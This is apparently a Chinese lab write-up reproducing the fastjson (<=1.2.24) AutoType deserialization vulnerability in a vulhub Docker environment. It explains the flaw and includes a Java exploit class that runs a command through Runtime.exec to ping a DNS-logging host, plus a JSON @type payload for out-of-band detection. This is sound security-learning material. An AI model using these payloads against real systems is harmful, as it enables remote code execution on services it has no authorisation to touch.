fastjson(版本＜=1.2.24)复现

1.啥是JSON介绍：

JSON，全称：JavaScript Object Notation，作为一个常见的轻量级的数据交换格式，应该在一个程序员的开发生涯中是常接触的。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写，同时也易于机器解析和生成，并有效地提升网络传输效率。
即JavaScript对象标记法，使用键值对进行信息的存储。举个简单的例子如下：

{
        "name":"hang",

        "age":19,

        "media":["CSDN","bilibili","Github"]
}
json本质就是一种字符串，用于信息的存储和交换。

2.啥是fastjson?

fastjson 是一个 有阿里开发的一个开源Java 类库，可以将 Java 对象转换为 JSON 格式(序列化)，当然它也可以将 JSON 字符串转换为 Java 对象（反序列化）。

3.fastjson序列化/反序列化原理

fastjson的漏洞本质还是一个java的反序列化漏洞，由于引进了AutoType功能，fastjson在对json字符串反序列化的时候，会读取到@type的内容，将json内容反序列化为java对象并调用这个类的setter方法。

4.fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型，在反序列化的时候会读取这个@type，来试图把JSON内容反序列化到对象，并且会调用这个库的setter或者getter方法，然而，@type的类有可能被恶意构造，只需要合理构造一个JSON，使用@type指定一个想要的攻击类库就可以实现攻击。

$复现流程：

漏洞影响范围:fastjson<=1.2.24

下面仅作漏洞复现记录与实现，利用流程如下:

一、漏洞环境搭建

本文漏洞环境采用vulhub搭建，执行以下命令开启环境

cd /vulhub/fastjson/1.2.24-rce/
docker-compose up -d

执行完毕后访问8090端口，访问如下:

二、漏洞验证方法一

首先将exp进行编译，将以下内容保存为TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"ping", "test.3ztjrz.dnslog.cn"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

三、漏洞验证方法二

先用dnslog外带方式验证一下漏洞存不存在
dnslog地址
DNSLog PlatformDNSLog平台 http://www.dnslog.cn/

修改数据包
请求方式GET改成POST
加上Content-Type:application/json 请求头字段
加请求体数据，内容如下

{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"申请的域名"
	}
}

再刷新dnslog页面，查看有无变化
发现有记录了，能收到靶场发来的内容，说明存漏洞

关闭靶场docker stop id